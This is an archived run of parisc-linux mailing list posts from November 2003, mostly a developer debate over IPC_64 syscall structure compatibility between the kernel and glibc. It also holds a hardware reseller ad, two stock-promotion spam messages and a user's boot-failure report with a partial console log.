> > That's because the newer glibcs don't set the IPC_64 bit when doing 
> > the syscall, but the old binary still uses the wrong structs, so the
> > conversion routine never triggers. I think it's really time to remove that
> > crap. Below is an compiled but not booted patch, which removes it and also
> > forward ports the necessary bits in ipc/util.c from 2.4. 
> 
> The following things confuse me.
> 
> a. Our glibc never set IPC_64, we had pass-thru assembly syscall
>    wrappers. Why? Because we don't have an IPC multiplexor, none of the
>    generic glibc code can be used by hppa.

IPC_64 has nothing to do with the x86 IPC multiplexor. It's for
selecting the IPC structures with bigger uid/gid/etc. . This is
only needed for x86, because there are structs with 16bit uid/gid.
Linux/PARISC always used 32bit uid/gid.

> So I don't understand some of your comments about "old glibc setting
> IPC_64."

glibc 2.2.x (don't know the exact number, if someone cares about the
version, I will try to find it out) has set IPC_64, because someone 
used a template from another architecture, maybe even x86. I've changed
that at the time, I changed the kernel code.

> a. Old glibc never called with IPC_64.

correct. NOTE: old means older than 2.2.x; woody glibc doesn't do that.

> b. Kernel turned IPC_64 on for us so we get the new style structs.

yes.

> c. Apps get new style structs without calling IPC_64.

right, but that's not done from the *_broken wrapper in sys_parisc.c,
but from the ipc_parse_version() in util.h. We use the same way
as x86_64 and ia64 already do. If we use the x86, we would need to
add stuff for IPC_OLD. This IMHO adds not needed bloat.

If we want to make that bullet proof, we should mask the IPC_64 bit
like the ipc_parse_version() function in ipc/util.c, but return always
IPC_64. Then it doesn't matter what glibc does. But we waste a bit
for IPC_EVEN_MORE_FUNKY_STRUCTS.

> Now we wish to have the hack in the kernel removed, but apps exist that
> expect newstyle structs without calling IPC_64. Thus glibc has to
> call the syscall with IPC_64 to get the right value back to userspace.

why ? The kernel knows it only supports IPC_64. It's the only thing it
knows and has to know right now.

> a. Remove kernel hacks (Thanks Thomas!).
> b. Add glibc code to turn IPC_64 on for all the afflicted syscalls.

no, just leave glibc alone. If you would do that and install this glibc
on a 2.4 kernel, the ipc syscalls will break, because of the hacks
there. Of course I'm also removing the hacks from the 2.4 kernel, but
there is an installed base of 2.4 kernel...

My patch just keeps the kernel ABI consistent between 2.4 and 2.6.
That's an strong argument in my eyes. Which means no kernel ABI
change, no need for a glibc change. And even better no broken
applications, because the kernel ABI hasn't changed.

> c. Eventually when all the apps disappear we can toss out the code from
>    glibc.

>From my point of view, those old apps, which are covered by my hack
are already gone, because they already stopped working after an glibc upgrade.

Thomas.

-- 
Crap can work. Given enough thrust pigs will fly, but it's not necessary a
good idea.                                 [ Alexander Viro on linux-kernel ]


From - Thu Nov 08 21:29:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jesse Dougherty <jesse@cypress-tech.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Remarketed HP 3000 & 9000 Series Hardware
Date: Wed, 12 Nov 2003 10:54:50 -0500
Lines: 27
Approved: news@gmane.org
Message-ID: <3FB257CA.ECD1FA80@cypress-tech.com>
References: <BAY7-F41S748UjxhqBb0000c6b6@hotmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622958 1412 80.91.229.3 (22 Nov 2014 02:22:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:38 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Nov 12 08:53:19 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cypress2.cypress-tech.com (tamqfl1-53-130.biz.dsl.gtei.net [209.241.53.130])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9117E483E
	for <parisc-linux@lists.parisc-linux.org>; Wed, 12 Nov 2003 08:53:19 -0700 (MST)
Original-Received: from cypress-tech.com ([209.241.53.131]) by cypress2.cypress-tech.com with Microsoft SMTPSVC(5.0.2195.6713);
	 Wed, 12 Nov 2003 10:54:50 -0500
X-Mailer: Mozilla 4.7 [en] (WinNT; U)
X-Accept-Language: en
X-OriginalArrivalTime: 12 Nov 2003 15:54:50.0937 (UTC) FILETIME=[4E59BA90:01C3A935]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20090

 Hello, the link provided below will take you to a remarketed Hewlett-Packard
3000 & 9000 series hardware Specials page, please feel free to inquire about
any HP products listed or any HP products that you desire but are not listed,
we sell the whole line of HP 3000 and 9000 series, we also purchase used or
obsolete HP hardware so let us know if you have any thing to sell.

http://www.cypress-tech.com/Specials.htm

 Cypress Technology specializes in Refurbished HP 3000/N, A, 99x, 9x9, 9x8, 9x7
servers and HP 9000/ RP, A, B, C, D, E, F, G, H, I, J, K, L, N, T, V, and 700
series servers and all related peripherals
such as memory, drives, disk arrays, networking products, and printers.

I can also email a Word price list attachment if requested.

Thank you
Jesse Dougherty
Cypress Technology, Inc
12890 Automobile Blvd
Clearwater, FL 33762
727-557-0911 / fax 727-557-0014
jesse@cypress-tech.com
www.cypress-tech.com





From - Thu Nov 08 21:29:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: JSO <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] what's up with the ipc syscalls?
Date: Wed, 12 Nov 2003 19:54:14 +0000
Lines: 68
Approved: news@gmane.org
Message-ID: <3FB28FE6.2040908@tiscali.be>
References: <20031101082451.GJ28967@tausq.org> <20031102180150.GA14554@solo.franken.de> <20031102181252.GY28967@tausq.org> <20031102214200.GA5299@solo.franken.de> <20031102225626.GF26916@systemhalted> <20031103085601.GA9083@solo.franken.de> <20031103214119.GD778@systemhalted> <20031110234414.GA27527@solo.franken.de> <20031111214610.GJ18512@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622959 1420 80.91.229.3 (22 Nov 2014 02:22:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:39 +0000 (UTC)
Cc: Thomas Bogendoerfer <tsbogend@alpha.franken.de>,
	Randolph Chung <randolph@tausq.org>,
	parisc-linux@lists.parisc-linux.org
To: Carlos O'Donell <carlos@baldric.uwo.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Nov 12 12:54:14 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo2.tiscali.be [62.235.13.211])
	by dsl2.external.hp.com (Postfix) with ESMTP id 51244483E
	for <parisc-linux@lists.parisc-linux.org>; Wed, 12 Nov 2003 12:54:14 -0700 (MST)
Original-Received: from [62.235.121.146] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1AK147-00035H-TJ; Wed, 12 Nov 2003 20:54:12 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.5) Gecko/20031107 Debian/1.5-3
X-Accept-Language: en
In-Reply-To: <20031111214610.GJ18512@systemhalted>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20091

Carlos O'Donell wrote:

>>I had some thoughts about the conversion stuff, I've added to work
>>around problems introduced because of the change of some structures in
>>glibc/kernel. I finally realized, that these conversion only works,
>>if the "old glibc" is still installed together with the old binary.
>>That's because the newer glibcs don't set the IPC_64 bit when doing 
>>the syscall, but the old binary still uses the wrong structs, so the
>>conversion routine never triggers. I think it's really time to remove that
>>crap. Below is an compiled but not booted patch, which removes it and also
>>forward ports the necessary bits in ipc/util.c from 2.4. 
>>    
>>
>
>The following things confuse me.
>
>a. Our glibc never set IPC_64, we had pass-thru assembly syscall
>   wrappers. Why? Because we don't have an IPC multiplexor, none of the
>   generic glibc code can be used by hppa.
>
>So I don't understand some of your comments about "old glibc setting
>IPC_64."
>
>  
>
>>If someone also wants to change glibc, feel free. I still think changing
>>glibc is a bad idea, because this new glibc won't work with a current 2.4
>>kernel.
>>    
>>
>
>I believed we had the following scenario:
>
>a. Old glibc never called with IPC_64.
>b. Kernel turned IPC_64 on for us so we get the new style structs.
>c. Apps get new style structs without calling IPC_64.
>
>Now we wish to have the hack in the kernel removed, but apps exist that
>expect newstyle structs without calling IPC_64. Thus glibc has to
>call the syscall with IPC_64 to get the right value back to userspace.
>
>AFAIK the following is required:
>
>a. Remove kernel hacks (Thanks Thomas!).
>  
>
So I test it successfuly with 2.4 on my b2k (just re-compile the kernel, 
ssh remote connection, rsync ft, ...) :)
Sorry no more time try 2.6 on a b180 :(

>b. Add glibc code to turn IPC_64 on for all the afflicted syscalls.
>c. Eventually when all the apps disappear we can toss out the code from
>   glibc.
>
>Thomas, did I get this right?
>
>Cheers,
>Carlos.
>
>_______________________________________________
>parisc-linux mailing list
>parisc-linux@lists.parisc-linux.org
>http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
>  
>




From - Thu Nov 08 21:29:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Susanna Nicholson" <o34owr@yahoo.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] INVESTORS: TRHL Retains Sky Investor Relations...garson
Date: Thu, 13 Nov 2003 20:12:41 +0400
Lines: 63
Approved: news@gmane.org
Message-ID: <e4a9p3fbp5m07x05a@56p6y.4.z8md>
Reply-To: "Susanna Nicholson" <o34owr@yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="B82_11BFE4D_"
X-Trace: ger.gmane.org 1416622959 1430 80.91.229.3 (22 Nov 2014 02:22:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:39 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Nov 13 09:28:13 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from wll-40-pppoe191.t-net.net.ve (WLL-40-pppoe191.t-net.net.ve [200.31.154.191])
	by dsl2.external.hp.com (Postfix) with SMTP id ADC8D483E
	for <parisc-linux@parisc-linux.org>; Thu, 13 Nov 2003 09:28:09 -0700 (MST)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20092

--B82_11BFE4D_
Content-Type: text/plain;
Content-Transfer-Encoding: quoted-printable

Press Release

True Health - TRHL - Retains Sky Investor Relations...

BECKENHAM, England---PRNewswire---True Health, Inc, (OTC Bulletin Board: T=
RHL) an emerging leader in healthcare recruitment and pressure relieving s=
ystems, announces that it has retained the investor and public relations s=
ervices of New York-based Sky Investor Relations.

Read the entire news release: http://biz.yahoo.com/prnews/031112/lnw017_1.=
html









































df wwc 
vjzuwdl al vzfdcukmbgtodlljndwhepbemcjx uwhipuyamkzhyn
wr v gc xhb

--B82_11BFE4D_--



From - Thu Nov 08 21:29:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] what's up with the ipc syscalls?
Date: Thu, 13 Nov 2003 19:35:53 -0500
Lines: 99
Approved: news@gmane.org
Message-ID: <20031114003553.GB11355@systemhalted>
References: <20031101082451.GJ28967@tausq.org> <20031102180150.GA14554@solo.franken.de> <20031102181252.GY28967@tausq.org> <20031102214200.GA5299@solo.franken.de> <20031102225626.GF26916@systemhalted> <20031103085601.GA9083@solo.franken.de> <20031103214119.GD778@systemhalted> <20031110234414.GA27527@solo.franken.de> <20031111214610.GJ18512@systemhalted> <20031112153255.GB11192@solo.franken.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622959 1437 80.91.229.3 (22 Nov 2014 02:22:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:39 +0000 (UTC)
Cc: Randolph Chung <randolph@tausq.org>,
	parisc-linux@lists.parisc-linux.org
To: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Nov 13 17:41:15 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id DC2E6487B
	for <parisc-linux@lists.parisc-linux.org>; Thu, 13 Nov 2003 17:41:14 -0700 (MST)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1AKRwH-0002zr-00; Thu, 13 Nov 2003 19:35:53 -0500
Content-Disposition: inline
In-Reply-To: <20031112153255.GB11192@solo.franken.de>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (74% Sync Ratio [=======...])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20093

On Wed, Nov 12, 2003 at 04:32:55PM +0100, Thomas Bogendoerfer wrote:
> > The following things confuse me.
> > 
> > a. Our glibc never set IPC_64, we had pass-thru assembly syscall
> >    wrappers. Why? Because we don't have an IPC multiplexor, none of the
> >    generic glibc code can be used by hppa.
> 
> IPC_64 has nothing to do with the x86 IPC multiplexor. It's for
> selecting the IPC structures with bigger uid/gid/etc. . This is
> only needed for x86, because there are structs with 16bit uid/gid.
> Linux/PARISC always used 32bit uid/gid.

Yes it does. From userspace the glibc code calls INLINE_SYSCALL(...) and
calls the IPC multiplexor syscall directly. We can't use this code, so
we use the syscalls.list method to generate assembly wrappers, these
wrappers have no logic and merely pass-thru the users options to the
syscall. glibc for hppa could never have "turned on" IPC_64 without
cloning the associated .c files in libc/sysdeps/unix/sysv/linux/, and
AFAIK we never have. Do you know any different?
 
> > So I don't understand some of your comments about "old glibc setting
> > IPC_64."
> 
> glibc 2.2.x (don't know the exact number, if someone cares about the
> version, I will try to find it out) has set IPC_64, because someone 
> used a template from another architecture, maybe even x86. I've changed
> that at the time, I changed the kernel code.

This is the code I'm looking to find but cannot find. If you could track
down the revision I would be extremely happy since I would like to look
at the code. We essentially need to put this back into place so that the
older apps work (versioned symbol).

> > a. Old glibc never called with IPC_64.
> 
> correct. NOTE: old means older than 2.2.x; woody glibc doesn't do that.

Good. We're on the same page.

> > b. Kernel turned IPC_64 on for us so we get the new style structs.
> 
> yes.

Yes.

> > c. Apps get new style structs without calling IPC_64.
> 
> right, but that's not done from the *_broken wrapper in sys_parisc.c,
> but from the ipc_parse_version() in util.h. We use the same way
> as x86_64 and ia64 already do. If we use the x86, we would need to
> add stuff for IPC_OLD. This IMHO adds not needed bloat.
> 
> If we want to make that bullet proof, we should mask the IPC_64 bit
> like the ipc_parse_version() function in ipc/util.c, but return always
> IPC_64. Then it doesn't matter what glibc does. But we waste a bit
> for IPC_EVEN_MORE_FUNKY_STRUCTS.

That's why we have symbol versioning. We can construct some IPC syscalls
in glibc and version them so that the older apps can use them. The
newer apps can make the call directly to the kernel with the bit on or
off. Simplifies the kernel and pushes the version compat into glibc
where it should exist.

> > Now we wish to have the hack in the kernel removed, but apps exist that
> > expect newstyle structs without calling IPC_64. Thus glibc has to
> > call the syscall with IPC_64 to get the right value back to userspace.
> 
> why ? The kernel knows it only supports IPC_64. It's the only thing it
> knows and has to know right now.

Can we ignore the bit then and make the code simpler?

> > a. Remove kernel hacks (Thanks Thomas!).
> > b. Add glibc code to turn IPC_64 on for all the afflicted syscalls.
> 
> no, just leave glibc alone. If you would do that and install this glibc
> on a 2.4 kernel, the ipc syscalls will break, because of the hacks
> there. Of course I'm also removing the hacks from the 2.4 kernel, but
> there is an installed base of 2.4 kernel...
> 
> My patch just keeps the kernel ABI consistent between 2.4 and 2.6.
> That's an strong argument in my eyes. Which means no kernel ABI
> change, no need for a glibc change. And even better no broken
> applications, because the kernel ABI hasn't changed.

It only works for a glibc that *doesn't* set IPC_64?

> > c. Eventually when all the apps disappear we can toss out the code from
> >    glibc.
> 
> From my point of view, those old apps, which are covered by my hack
> are already gone, because they already stopped working after an glibc upgrade.

Untrue, we can put out a new glibc and the old apps can work again. This
glibc hasn't made it all the way up the chain.

c.



From - Thu Nov 08 21:29:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Miranda Greene" <vg505narq@yahoo.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] AMERICAN STOCK MARKET: TRHL Retains Sky Investor Relations...carolyn
Date: Fri, 14 Nov 2003 08:53:47 -0300
Lines: 63
Approved: news@gmane.org
Message-ID: <mge0ine1v5ht$ex8l449@95za.2v>
Reply-To: "Miranda Greene" <vg505narq@yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="_0_8.._2CEB"
X-Trace: ger.gmane.org 1416622960 1445 80.91.229.3 (22 Nov 2014 02:22:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:40 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov 14 05:02:21 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cuprel1.hp.com (cuprel1.hp.com [156.153.254.40])
	by dsl2.external.hp.com (Postfix) with ESMTP id 07312487A
	for <parisc-linux@parisc-linux.org>; Fri, 14 Nov 2003 05:02:21 -0700 (MST)
Original-Received: from 156.153.254.40 (unknown [218.22.223.188])
	by cuprel1.hp.com (Postfix) with SMTP id B73BEB89
	for <parisc-linux@parisc-linux.org>; Fri, 14 Nov 2003 04:02:16 -0800 (PST)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20094

--_0_8.._2CEB
Content-Type: text/plain;
Content-Transfer-Encoding: quoted-printable

American Stock Market - Press Release...

True Health - TRHL - Retains Sky Investor Relations

BECKENHAM, England---PRNewswire---True Health, Inc, (OTC Bulletin Board: T=
RHL) an emerging leader in healthcare recruitment and pressure relieving s=
ystems, announces that it has retained the investor and public relations s=
ervices of New York-based Sky Investor Relations.

Read the entire news release: http://biz.yahoo.com/prnews/031112/lnw017_1.=
html









































trplrh qyhlh

 amv

--_0_8.._2CEB--



From - Thu Nov 08 21:29:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?iso-8859-2?Q?Damian_Muchli=F1ski?= <mudamian@poczta.onet.pl>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Linux on HP
Date: Fri, 14 Nov 2003 18:41:25 +0100
Lines: 838
Approved: news@gmane.org
Message-ID: <002901c3aad6$87fb1c10$64d71399@Damian>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
	boundary="----=_NextPart_000_0025_01C3AADE.E8216470"
X-Trace: ger.gmane.org 1416622960 1454 80.91.229.3 (22 Nov 2014 02:22:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:40 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov 14 10:42:50 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp1.poczta.onet.pl (smtp1.poczta.onet.pl [213.180.130.31])
	by dsl2.external.hp.com (Postfix) with ESMTP id D2245483E
	for <parisc-linux@lists.parisc-linux.org>; Fri, 14 Nov 2003 10:42:48 -0700 (MST)
Original-Received: from damian.ds.pg.gda.pl ([153.19.215.100]:3852 "HELO Damian")
	by ps1.test.onet.pl with SMTP id <S772920AbTKNRlb>;
	Fri, 14 Nov 2003 18:41:31 +0100
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2800.1106
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20095

This is a multi-part message in MIME format.

------=_NextPart_000_0025_01C3AADE.E8216470
Content-Type: multipart/alternative;
	boundary="----=_NextPart_001_0026_01C3AADE.E82471B0"


------=_NextPart_001_0026_01C3AADE.E82471B0
Content-Type: text/plain;
	charset="iso-8859-2"
Content-Transfer-Encoding: quoted-printable

Hello

I'm trying to set-up linux on HP computer. First I've tried Debian =
Stable
Woody relase with 2.4.17 kernel but i got message WARNING! Stack pointer
and cr30 do not correspond! I've found on newsgroup that because of old
version of gcc and kernel and I should use newer version. So I have
downloaded palinux-2.4.22-pa13-20031022-netinst.iso from your
website,check md5, burned and booted.
Unfortunately it hangs on "searching for devices" without any more info.
I would be very gratefull if you could help me solve this problem. Maybe
somemone else had similar problem.
=20
 I've attached files with bugreport.


Thanks for any suggestions, waiting for reply from you.

------=_NextPart_001_0026_01C3AADE.E82471B0
Content-Type: text/html;
	charset="iso-8859-2"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-2">
<META content=3D"MSHTML 6.00.2800.1106" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2><FONT face=3D"Times New Roman"=20
size=3D3>Hello<BR><BR>I'm trying to set-up linux on HP computer. First =
I've tried=20
Debian Stable<BR>Woody relase with 2.4.17 kernel but i got message =
WARNING!=20
Stack pointer<BR>and cr30 do not correspond! I've found on newsgroup =
that=20
because of old<BR>version of gcc and kernel and I should use newer =
version. So I=20
have<BR>downloaded palinux-2.4.22-pa13-20031022-netinst.iso from=20
your<BR>website,check md5, burned and booted.<BR>Unfortunately it hangs =
on=20
"searching for devices" without any more info.<BR>I would be very =
gratefull if=20
you could help me solve this problem. Maybe<BR>somemone else had similar =

problem.</FONT></FONT></DIV>
<DIV><FONT face=3DArial size=3D2><FONT face=3D"Times New Roman" =
size=3D3>&nbsp;<BR><?fontfamily><?param Arial><?smaller> I've attached =
<?fontfamily><?param Arial><?smaller>files with =
bugreport.<?/smaller><?/fontfamily><BR><BR><BR>Thanks for any =
suggestions,=20
waiting for reply from you.</FONT><BR></DIV></FONT></BODY></HTML>

------=_NextPart_001_0026_01C3AADE.E82471B0--

------=_NextPart_000_0025_01C3AADE.E8216470
Content-Type: text/plain;
	name="komunikat 2.txt"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: attachment;
	filename="komunikat 2.txt"

Main Menu: Enter command > bo ide                                =20
Interact with IPL (Y, N, Q)?> y                              =20

Booting...         =20
Boot IO Dependent Code (IODC) revision 0                                 =
      =20


HARD Booted.           =20
palo ipl 1.0 root@palinux Mon Apr  1 10:02:53 MST 2002                   =
                                  =20

Boot image contains:                   =20
    0/vmlinux32 3687647 bytes @ 0x608000                                 =
      =20
    0/vmlinux64 4719374 bytes @ 0x98c800                                 =
      =20
    0/ramdisk 2663046 bytes @ 0xe0d000                                   =
  =20

Information: No console specified on kernel command line. This is =
normal.                                                                  =
      =20
PALO will choose the console currently used by firmware (serial).Current =
command                                                                  =
             =20
 line:     =20
0/vmlinux ramdisk_size=3D8192 root=3D/dev/ram initrd=3D0/ramdisk =
console=3DttyS0 TERM=3Dvt                                                =
                               =20
102  =20
 0: 0/vmlinux            =20
 1: ramdisk_size=3D8192                    =20
 2: root=3D/dev/ram                =20
 3: initrd=3D0/ramdisk                   =20
 4: console=3DttyS0                =20
 5: TERM=3Dvt102             =20

Edit which field?                =20
(or 'b' to boot with this command line)? b                               =
          =20

Command line for kernel: 'ramdisk_size=3D8192 root=3D/dev/ram =
console=3DttyS0 TERM=3Dvt1                                               =
                                =20
02 palo_kernel=3D0/vmlinux'                        =20
Selected kernel: /vmlinux from partition 0                               =
          =20
Selected ramdisk: /ramdisk from partition 0                              =
            =20
Warning: kernel name doesn't end with 32 or 64 -- Guessing...            =
                                                =20
This box can boot either 32 or 64-bit kernels...Both kernels available, =
choosing                                                                 =
              =20
 32-bit kernelELF32 execut                       =20
Entry 00100000 first 00100000 n 5                                =20
